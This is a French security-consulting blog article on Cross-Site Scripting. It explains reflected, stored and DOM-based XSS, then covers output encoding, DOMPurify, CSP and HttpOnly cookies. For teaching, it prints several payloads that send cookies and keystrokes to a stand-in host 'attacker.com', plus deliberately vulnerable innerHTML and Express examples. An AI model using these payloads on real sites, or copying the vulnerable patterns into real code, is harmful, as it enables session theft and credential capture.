Cybreach Consulting Prendre RDV
Retour aux articles
Vulnérabilités

XSS - Cross-Site Scripting : injecter du code dans le navigateur d'une victime

Le Cross-Site Scripting (XSS) permet à un attaquant d'injecter du code JavaScript arbitraire dans le navigateur d'une victime. Ce code s'exécute dans le contexte de votre domaine, avec les mêmes droits que votre application : accès aux cookies de session, au localStorage, au DOM, aux formulaires. L'impact dépend uniquement de ce que l'attaquant décide d'en faire.

Les trois variantes

XSS réfléchi (Reflected) : L'injection transite dans une requête HTTP (paramètre d'URL, champ de formulaire) et est immédiatement renvoyée dans la réponse sans encodage. L'attaquant envoie un lien piégé à la victime. Le code s'exécute dès l'ouverture du lien.

Exemple : URL piégée avec XSS réfléchi

https://example.com/search?q=<script>document.location='https://attacker.com/steal?c='+document.cookie</script>

XSS stocké (Stored / Persistent) : Le payload est persisté en base de données (commentaire, message, profil) et affiché à d'autres utilisateurs. C'est la variante la plus dangereuse : une seule injection peut toucher des milliers de victimes sans qu'elles cliquent sur quoi que ce soit.

Exemple : payload dans un champ commentaire

<!-- Saisi dans un champ commentaire, affiché à tous les visiteurs -->
<script>
  fetch('https://attacker.com/steal', {
    method: 'POST',
    body: JSON.stringify({ cookie: document.cookie, url: location.href })
  });
</script>

XSS basé sur le DOM (DOM-based) : Le payload n'est jamais envoyé au serveur. Il est injecté directement dans le DOM via du JavaScript côté client qui lit des données non fiables (fragment d'URL, postMessage, localStorage) et les insère sans encodage.

Exemple : code vulnérable côté client

// Code vulnérable : lit le fragment d'URL et l'insère en innerHTML
const name = decodeURIComponent(location.hash.slice(1));
document.getElementById('welcome').innerHTML = 'Bonjour ' + name;

// Attaque : naviguer vers
// page.html#<img src=x onerror="fetch('https://attacker.com?c='+document.cookie)">

Ce qu'un attaquant peut faire avec une XSS

Vol de session : Si le cookie de session n'est pas marqué HttpOnly, JavaScript peut le lire et l'envoyer à un serveur distant. L'attaquant rejoue ce cookie et se retrouve connecté avec l'identité de la victime.

Vol de cookie de session

// Payload injecté - envoie le cookie vers le serveur de l'attaquant
new Image().src = 'https://attacker.com/c?' + encodeURIComponent(document.cookie);

Keylogger : Le script injecté écoute les événements clavier et envoie chaque frappe à un serveur distant. Sur une page de connexion, l'attaquant récupère identifiants et mots de passe en clair.

Keylogger injecté via XSS

document.addEventListener('keydown', (e) => {
  fetch('https://attacker.com/keys', {
    method: 'POST',
    body: JSON.stringify({ key: e.key, target: document.activeElement?.name })
  });
});

Phishing overlay : Le script injecte une fausse fenêtre de connexion par-dessus la vraie page, avec le même style que le site légitime. L'utilisateur saisit ses identifiants dans le faux formulaire, qui les envoie directement à l'attaquant.

CSRF forcé : Le script exécute des actions en arrière-plan au nom de la victime : changer l'adresse email, virer des fonds, supprimer des données, sans que la victime ne voie quoi que ce soit.

Ce qui ne suffit pas

Filtrer les balises <script> en entrée n'est pas une protection suffisante. Il existe des centaines de vecteurs XSS sans balise script : attributs d'événements (onerror, onload, onclick), balises <img>, <svg>, <iframe>, encodage alternatif (unicode, URL, HTML entities).

Payloads XSS sans balise script

<img src=x onerror=fetch('https://attacker.com?c='+document.cookie)>
<svg onload=alert(document.cookie)>
<a href="javascript:void(fetch('https://attacker.com?c='+document.cookie))">cliquez ici</a>
<input autofocus onfocus=fetch('https://attacker.com?c='+document.cookie)>

Une blacklist de mots-clés (javascript, onerror, alert...) ne tient pas : l'encodage, la casse, les caractères Unicode permettent de contourner presque toutes les blacklists.

Remédiation

1. Encodage de sortie systématique : C'est la protection fondamentale. Toute donnée non fiable insérée dans du HTML doit être encodée selon le contexte dans lequel elle est insérée.

Vulnérable : concaténation directe dans le HTML

// Node.js / Express
app.get('/search', (req, res) => {
  res.send(`<p>Résultats pour : ${req.query.q}</p>`);
});

Correct : encodage HTML de la valeur

function escapeHTML(str) {
  return String(str)
    .replace(/&/g, '&amp;')
    .replace(/</g, '&lt;')
    .replace(/>/g, '&gt;')
    .replace(/"/g, '&quot;')
    .replace(/'/g, '&#x27;');
}

app.get('/search', (req, res) => {
  res.send(`<p>Résultats pour : ${escapeHTML(req.query.q)}</p>`);
});

En pratique, utilisez un moteur de templates avec échappement automatique : Jinja2 (Python), Blade (Laravel), Handlebars, EJS, ou Thymeleaf (Java). Ils encodent les variables par défaut. Méfiez-vous des directives de rendu non encodé (|safe, {{{}}}, v-html), à n'utiliser que pour du contenu maîtrisé.

2. Ne jamais utiliser innerHTML avec des données utilisateur : En JavaScript côté client, préférez textContent pour du texte brut. Si vous devez insérer du HTML dynamique, utilisez DOMPurify pour assainir le contenu avant insertion.

Insertion sûre dans le DOM

// Dangereux
document.getElementById('output').innerHTML = userInput;

// Pour du texte brut
document.getElementById('output').textContent = userInput;

// Pour du HTML maîtrisé (nécessite DOMPurify)
import DOMPurify from 'dompurify';
document.getElementById('output').innerHTML = DOMPurify.sanitize(userInput);

3. Content Security Policy (CSP) : Un en-tête CSP bien configuré empêche l'exécution de scripts non autorisés, même si une XSS est présente. C'est une couche de défense en profondeur : elle ne remplace pas l'encodage de sortie, mais réduit drastiquement l'impact d'une faille résiduelle.

En-tête CSP restrictif

Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'; base-uri 'self';

4. Cookies HttpOnly : Marquer le cookie de session HttpOnly empêche JavaScript de le lire, supprimant le vecteur de vol de session le plus courant. Combinez avec Secure (HTTPS uniquement) et SameSite=Strict.

Configuration sécurisée du cookie de session

Set-Cookie: session=abc123; HttpOnly; Secure; SameSite=Strict; Path=/; Max-Age=3600

Récapitulatif des protections

  1. Encodage HTML de toute donnée non fiable insérée dans la réponse : c'est la règle fondamentale
  2. Utiliser textContent plutôt qu'innerHTML pour les insertions DOM côté client
  3. Déployer un Content Security Policy (CSP) strict, en mode report-only d'abord pour mesurer l'impact
  4. Cookies de session en HttpOnly; Secure; SameSite=Strict
  5. Auditer les usages de innerHTML, document.write, eval et équivalents dans votre codebase

Une question après la lecture ?

Vous avez des doutes sur la gestion des entrées utilisateur dans votre application ? Envoyez un message.

Ou réservez directement un cadrage de 30 minutes

Réserver un appel